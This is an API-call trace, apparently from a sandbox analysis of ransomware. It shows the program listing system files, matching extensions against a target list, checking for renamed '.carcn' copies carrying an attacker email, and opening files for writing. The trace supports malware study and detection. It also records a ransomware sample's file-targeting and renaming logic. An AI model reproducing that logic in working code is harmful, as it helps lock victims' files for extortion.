lstrlenW (lpString=".ppt") returned 4 [0255.413] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString=".zip") returned 4 [0255.414] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.414] lstrlenW (lpString=".rar") returned 4 [0255.414] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.414] lstrlenW (lpString=".bz2") returned 4 [0255.414] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.414] lstrlenW (lpString=".7z") returned 3 [0255.414] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString=".dbf") returned 4 [0255.414] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString=".1cd") returned 4 [0255.414] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString=".jpg") returned 4 [0255.414] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.414] lstrlenW (lpString=".doc") returned 4 [0255.414] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.414] lstrlenW (lpString=".docx") returned 5 [0255.414] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.414] lstrlenW (lpString=".pdf") returned 4 [0255.414] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.415] lstrlenW (lpString=".xls") returned 4 [0255.415] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.415] lstrlenW (lpString=".xlsx") returned 5 [0255.415] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.415] lstrlenW (lpString=".ppt") returned 4 [0255.415] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.415] lstrlenW (lpString=".zip") returned 4 [0255.415] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.415] lstrlenW (lpString=".rar") returned 4 [0255.415] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.415] lstrlenW (lpString=".bz2") returned 4 [0255.415] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.415] lstrlenW (lpString=".7z") returned 3 [0255.415] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.415] lstrlenW (lpString=".dbf") returned 4 [0255.415] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.415] lstrlenW (lpString=".1cd") returned 4 [0255.415] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.415] lstrlenW (lpString=".jpg") returned 4 [0255.415] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.416] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.416] lstrlenW (lpString="adovbs.inc") returned 10 [0255.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.417] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=15195) returned 1 [0255.417] CloseHandle (hObject=0x414) returned 1 [0255.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0255.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.417] lstrlenW (lpString=".doc") returned 4 [0255.417] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.417] lstrlenW (lpString=".docx") returned 5 [0255.417] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.417] lstrlenW (lpString=".pdf") returned 4 [0255.417] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.417] lstrlenW (lpString=".xls") returned 4 [0255.417] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.417] lstrlenW (lpString=".xlsx") returned 5 [0255.417] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.418] lstrlenW (lpString=".ppt") returned 4 [0255.418] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.418] lstrlenW (lpString=".zip") returned 4 [0255.418] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.418] lstrlenW (lpString=".rar") returned 4 [0255.418] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.418] lstrlenW (lpString=".bz2") returned 4 [0255.418] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.418] lstrlenW (lpString=".7z") returned 3 [0255.418] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.418] lstrlenW (lpString=".dbf") returned 4 [0255.418] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.418] lstrlenW (lpString=".1cd") returned 4 [0255.418] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.419] lstrlenW (lpString=".jpg") returned 4 [0255.419] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.419] lstrlenW (lpString=".doc") returned 4 [0255.419] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.419] lstrlenW (lpString=".docx") returned 5 [0255.419] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.419] lstrlenW (lpString=".pdf") returned 4 [0255.419] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString=".xls") returned 4 [0255.419] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString=".xlsx") returned 5 [0255.419] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.419] lstrlenW (lpString=".ppt") returned 4 [0255.419] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.419] lstrlenW (lpString=".zip") returned 4 [0255.419] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString=".rar") returned 4 [0255.419] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.419] lstrlenW (lpString=".bz2") returned 4 [0255.419] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.419] lstrlenW (lpString=".7z") returned 3 [0255.419] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.419] lstrlenW (lpString=".dbf") returned 4 [0255.420] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.420] lstrlenW (lpString=".1cd") returned 4 [0255.420] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0255.420] lstrlenW (lpString=".jpg") returned 4 [0255.420] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.420] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.420] lstrlenW (lpString="adcjavas.inc") returned 12 [0255.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.421] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=630) returned 1 [0255.421] CloseHandle (hObject=0x414) returned 1 [0255.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0255.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString=".doc") returned 4 [0255.422] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.422] lstrlenW (lpString=".docx") returned 5 [0255.422] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.422] lstrlenW (lpString=".pdf") returned 4 [0255.422] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.422] lstrlenW (lpString=".xls") returned 4 [0255.422] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.422] lstrlenW (lpString=".xlsx") returned 5 [0255.422] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.422] lstrlenW (lpString=".ppt") returned 4 [0255.422] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString=".zip") returned 4 [0255.422] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.422] lstrlenW (lpString=".rar") returned 4 [0255.422] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.422] lstrlenW (lpString=".bz2") returned 4 [0255.422] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.422] lstrlenW (lpString=".7z") returned 3 [0255.422] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString=".dbf") returned 4 [0255.422] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString=".1cd") returned 4 [0255.422] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.422] lstrlenW (lpString=".jpg") returned 4 [0255.422] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.423] lstrlenW (lpString=".doc") returned 4 [0255.423] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.423] lstrlenW (lpString=".docx") returned 5 [0255.423] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.423] lstrlenW (lpString=".pdf") returned 4 [0255.423] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString=".xls") returned 4 [0255.423] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString=".xlsx") returned 5 [0255.423] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.423] lstrlenW (lpString=".ppt") returned 4 [0255.423] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.423] lstrlenW (lpString=".zip") returned 4 [0255.423] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString=".rar") returned 4 [0255.423] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.423] lstrlenW (lpString=".bz2") returned 4 [0255.423] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.423] lstrlenW (lpString=".7z") returned 3 [0255.423] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.423] lstrlenW (lpString=".dbf") returned 4 [0255.423] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.423] lstrlenW (lpString=".1cd") returned 4 [0255.424] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0255.424] lstrlenW (lpString=".jpg") returned 4 [0255.424] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.424] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.424] lstrlenW (lpString="adcvbs.inc") returned 10 [0255.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.424] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=623) returned 1 [0255.424] CloseHandle (hObject=0x414) returned 1 [0255.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0255.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.425] lstrlenW (lpString=".doc") returned 4 [0255.425] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.425] lstrlenW (lpString=".docx") returned 5 [0255.425] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.425] lstrlenW (lpString=".pdf") returned 4 [0255.425] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.425] lstrlenW (lpString=".xls") returned 4 [0255.425] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.425] lstrlenW (lpString=".xlsx") returned 5 [0255.425] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.425] lstrlenW (lpString=".ppt") returned 4 [0255.425] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.425] lstrlenW (lpString=".zip") returned 4 [0255.425] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.425] lstrlenW (lpString=".rar") returned 4 [0255.425] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.425] lstrlenW (lpString=".bz2") returned 4 [0255.425] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.426] lstrlenW (lpString=".7z") returned 3 [0255.426] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString=".dbf") returned 4 [0255.426] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString=".1cd") returned 4 [0255.426] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString=".jpg") returned 4 [0255.426] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString=".doc") returned 4 [0255.426] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.426] lstrlenW (lpString=".docx") returned 5 [0255.426] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.426] lstrlenW (lpString=".pdf") returned 4 [0255.426] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.426] lstrlenW (lpString=".xls") returned 4 [0255.426] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.426] lstrlenW (lpString=".xlsx") returned 5 [0255.426] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.426] lstrlenW (lpString=".ppt") returned 4 [0255.426] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.426] lstrlenW (lpString=".zip") returned 4 [0255.427] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.427] lstrlenW (lpString=".rar") returned 4 [0255.427] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.427] lstrlenW (lpString=".bz2") returned 4 [0255.427] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.427] lstrlenW (lpString=".7z") returned 3 [0255.427] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.427] lstrlenW (lpString=".dbf") returned 4 [0255.427] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.427] lstrlenW (lpString=".1cd") returned 4 [0255.427] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0255.427] lstrlenW (lpString=".jpg") returned 4 [0255.427] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.427] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.427] lstrlenW (lpString="oledbjvs.inc") returned 12 [0255.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.428] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=9804) returned 1 [0255.428] CloseHandle (hObject=0x414) returned 1 [0255.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0255.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.430] lstrlenW (lpString=".doc") returned 4 [0255.430] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.430] lstrlenW (lpString=".docx") returned 5 [0255.430] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.430] lstrlenW (lpString=".pdf") returned 4 [0255.430] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.430] lstrlenW (lpString=".xls") returned 4 [0255.430] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.430] lstrlenW (lpString=".xlsx") returned 5 [0255.430] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.430] lstrlenW (lpString=".ppt") returned 4 [0255.430] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.430] lstrlenW (lpString=".zip") returned 4 [0255.430] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.430] lstrlenW (lpString=".rar") returned 4 [0255.430] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.430] lstrlenW (lpString=".bz2") returned 4 [0255.430] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.430] lstrlenW (lpString=".7z") returned 3 [0255.430] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.430] lstrlenW (lpString=".dbf") returned 4 [0255.431] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.431] lstrlenW (lpString=".1cd") returned 4 [0255.431] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.431] lstrlenW (lpString=".jpg") returned 4 [0255.431] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.431] lstrlenW (lpString=".doc") returned 4 [0255.431] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.431] lstrlenW (lpString=".docx") returned 5 [0255.431] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.431] lstrlenW (lpString=".pdf") returned 4 [0255.431] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.431] lstrlenW (lpString=".xls") returned 4 [0255.431] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.431] lstrlenW (lpString=".xlsx") returned 5 [0255.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.431] lstrlenW (lpString=".ppt") returned 4 [0255.431] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.431] lstrlenW (lpString=".zip") returned 4 [0255.431] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.431] lstrlenW (lpString=".rar") returned 4 [0255.431] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.432] lstrlenW (lpString=".bz2") returned 4 [0255.432] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.432] lstrlenW (lpString=".7z") returned 3 [0255.432] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.432] lstrlenW (lpString=".dbf") returned 4 [0255.432] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.432] lstrlenW (lpString=".1cd") returned 4 [0255.432] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0255.432] lstrlenW (lpString=".jpg") returned 4 [0255.432] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.432] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.432] lstrlenW (lpString="oledbvbs.inc") returned 12 [0255.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.435] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=9975) returned 1 [0255.435] CloseHandle (hObject=0x414) returned 1 [0255.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0255.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ole 